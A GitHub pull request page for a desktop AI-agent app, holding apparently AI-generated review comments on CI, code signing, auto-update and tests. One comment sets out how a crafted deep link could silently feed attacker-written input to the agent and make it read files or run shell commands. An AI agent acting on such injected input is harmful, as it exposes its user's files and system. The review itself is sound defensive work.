[Critical] Deep link delete-session and delete-source execute destructive operations without user confirmation. The normal UI flow calls showDeleteSessionConfirmation before deleting, but this deep link handler calls window.electronAPI.deleteSession(parsed.id) directly. Since craftagents:// is a registered protocol handler, an external URL like craftagents://action/delete-session/{id} from any webpage/email can silently delete user data.

The set-mode action similarly downgrades permission modes without confirmation.

Suggested fix: Add a confirmation dialog for destructive deep link actions, mirroring the existing showDeleteSessionConfirmation pattern.

— qwen3.7-max via Qwen Code /review

}

const shouldSend =
parsed.params.input && parsed.params.send === 'true'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Critical] Deep link new-chat with send=true auto-sends attacker-controlled messages to the AI agent without user review. A crafted craftagents://action/new-chat?input=...&send=true URL from any webpage creates a session and immediately sends the input to the agent with no user interaction, enabling arbitrary agent command execution (reading sensitive files, running shell commands) via social engineering.

Suggested fix: When send=true is present in a deep link, either populate the input field without auto-sending (requiring the user to press Send), or show a confirmation dialog before sending.

— qwen3.7-max via Qwen Code /review

"description": "OpenWork desktop and headless agent workspace from Model Studio AI",
"author": {
"name": "Model Studio AI",
"url": "https://github.com/modelstudioai"

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Package metadata still references the upstream fork. name is "openwork", author is "Model Studio AI", and repository/homepage point to modelstudioai/openwork. Consider updating to reflect the Qwen Code project (e.g., "@qwen-code/desktop", "Qwen Team") for consistency with the rest of the monorepo.

— qwen3.7-max via Qwen Code /review

Comment thread .github/workflows/ci.yml
- name: 'Check lockfile'
run: 'npm run check:lockfile'

- name: 'Check desktop workspace isolation'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The CI only validates desktop workspace isolation but has no job that verifies desktop code compiles, typechecks, or passes tests. Since packages/desktop is excluded from the root npm workspace, npm run build/test skips all 1500+ desktop files. Broken desktop code can merge undetected until the manual desktop-release.yml workflow is triggered.

Consider adding a path-filtered desktop CI job that runs bun run typecheck on PRs touching packages/desktop/**.

— qwen3.7-max via Qwen Code /review

steps:
- name: 'Require CI bot token'
env:
CI_BOT_PAT_SECRET: '${{ secrets.CI_BOT_PAT }}'

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The CI_BOT_PAT validation runs inside the sync-version job which has needs: [publish, release_metadata]. If the secret is missing, the release is already published but the version-sync PR fails, leaving the repo in an inconsistent state (release exists, version bump branch/PR not created).

Consider moving the PAT check to an early validation job (e.g., release_metadata) so the entire workflow fails before publishing if the secret is unavailable.

— qwen3.7-max via Qwen Code /review

Comment thread packages/desktop/packages/ui/src/components/markdown/table-export.ts Dismissed
Comment thread packages/desktop/packages/ui/src/components/markdown/linkify.ts Dismissed
Comment thread packages/desktop/packages/ui/src/components/markdown/linkify.ts Dismissed
Comment thread packages/desktop/packages/ui/src/components/markdown/linkify.ts Dismissed
Comment thread packages/desktop/packages/shared/src/sessions/slug-generator.ts Dismissed
Comment thread packages/desktop/apps/electron/src/renderer/lib/icon-cache.ts Dismissed
Comment thread packages/desktop/apps/cli/src/client.test.ts Dismissed
Comment thread packages/desktop/apps/electron/src/renderer/playground.html Dismissed
Comment thread packages/desktop/packages/shared/src/auth/callback-server.ts Dismissed
Comment thread packages/desktop/apps/electron/src/renderer/index.html Dismissed

export function getCurrentMacCodeSignatureStatus(executablePath: string): MacCodeSignatureStatus {
const appBundlePath = getMacAppBundlePath(executablePath)
const result = spawnSync('/usr/bin/codesign', ['-d', '-vvv', appBundlePath], {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] spawnSync has no timeout option. If /usr/bin/codesign hangs (e.g., keychain access prompt, disk I/O stall, or sandbox restriction), the Electron main process blocks indefinitely — the app freezes with no diagnostic.

Suggested change
const result = spawnSync('/usr/bin/codesign', ['-d', '-vvv', appBundlePath], {
const result = spawnSync('/usr/bin/codesign', ['-d', '-vvv', appBundlePath], {
encoding: 'utf8',
timeout: 10_000,
})

— qwen3.7-max via Qwen Code /review

let updaterCacheDirName: string | null = null

function getAutoUpdateCapability(): AutoUpdateCapability {
if (autoUpdateCapability) return autoUpdateCapability

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getAutoUpdateCapability() permanently caches its result with no invalidation or retry. If codesign fails transiently (disk I/O error, Spotlight indexing, resource pressure), auto-update is disabled for the entire app session with no recovery path. The user sees a signature error message that doesn't suggest restarting.

Consider either: (a) not caching the mac-code-signature result (it's a single spawnSync, not expensive), (b) adding a TTL, or (c) re-evaluating on each checkForUpdates() call.

Also, when the signature check fails, no warn/error-level log is emitted — only an info-level "Skipping update check" with nested details that most log formatters render poorly. Add an explicit mainLog.warn('[auto-update] macOS code signature rejected', ...) here so the failure is discoverable in production logs.

— qwen3.7-max via Qwen Code /review

let autoUpdateCapability: AutoUpdateCapability | null = null
let updaterCacheDirName: string | null = null

function getAutoUpdateCapability(): AutoUpdateCapability {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] getAutoUpdateCapability() and getUpdaterCacheDirName() contain ~70 lines of branching logic (4 disable reasons, singleton caching, YAML regex parsing with fallback) but have no corresponding tests. The auto-update-signature.test.ts only covers the pure parsing functions.

Regressions in capability detection could silently disable updates for production users or enable them for unsafe builds. Consider adding unit tests that mock app.isPackaged, UPDATE_SOURCE, and getCurrentMacCodeSignatureStatus to verify each branch, plus testing getUpdaterCacheDirName with both valid YAML and the fallback path.

— qwen3.7-max via Qwen Code /review

it('rejects ad-hoc signatures because they pin updates to a cdhash', () => {
const status = parseMacCodeSignatureStatus('/Applications/OpenWork.app', 0, [
'Signature=adhoc',
'TeamIdentifier=not set',

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] The missing-team-identifier branch in parseMacCodeSignatureStatus (source line 56) is never directly tested. The adhoc-signature test above returns before reaching the teamIdentifier check. No test exercises the path where Signature is a real Developer ID but TeamIdentifier is not set or absent.

Consider adding:

it('rejects signed apps without a TeamIdentifier', () => {
  const status = parseMacCodeSignatureStatus('/Applications/OpenWork.app', 0, [
    'Signature=Developer ID Application: Example Inc',
    'TeamIdentifier=not set',
  ].join('\n'));
  expect(status.trustedForAutoUpdate).toBe(false);
  expect(status.reason).toBe('missing-team-identifier');
});

— qwen3.7-max via Qwen Code /review

}

const updateSource = UPDATE_SOURCE
if (!updateSource) {

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Dead code: this if (!updateSource) throw is unreachable. getAutoUpdateCapability() above already returns { enabled: false, reason: 'unconfigured' } when UPDATE_SOURCE is falsy, so the function would have returned early. The same unreachable guard appears at line 545 in checkForUpdatesOnLaunch.

Consider removing the redundant null checks, or documenting why the extra guard is intentional.

— qwen3.7-max via Qwen Code /review

fi
gh release upload "${upload_args[@]}"
else
previous_tag="$(

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

[Suggestion] Two divergences from the root .github/workflows/desktop-release.yml:

  1. Missing desktop-v* tag filter: The root workflow (line 559) filters previous_tag by .tagName | startswith("desktop-v"), but this workflow's gh release list query does not. This may select a CLI release tag (e.g., v1.2.3) as previous_tag, producing release notes that include unrelated CLI changes.

  2. Missing --latest=false: The root workflow (line 584) passes --latest=false to gh release create to prevent desktop releases from becoming the repo's "latest" release. This workflow is missing that flag.

Fix for (1):

--jq '.[] | select(.isDraft == false and .isPrerelease == false and (.tagName | startswith("desktop-v"))) | .tagName'

Fix for (2): Add create_args+=(--latest=false) before gh release create.

— qwen3.7-max via Qwen Code /review

@pomelo-nwu pomelo-nwu left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM!Bring small but beautiful changes to the world.

@doudouOUC doudouOUC left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

LGTM✅

@pomelo-nwu
pomelo-nwu dismissed stale reviews from qwen-code-ci-bot and wenshao June 11, 2026 13:57

lgtm

@DragonnZhang
DragonnZhang merged commit 62e45c5 into main Jun 11, 2026
193 checks passed
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.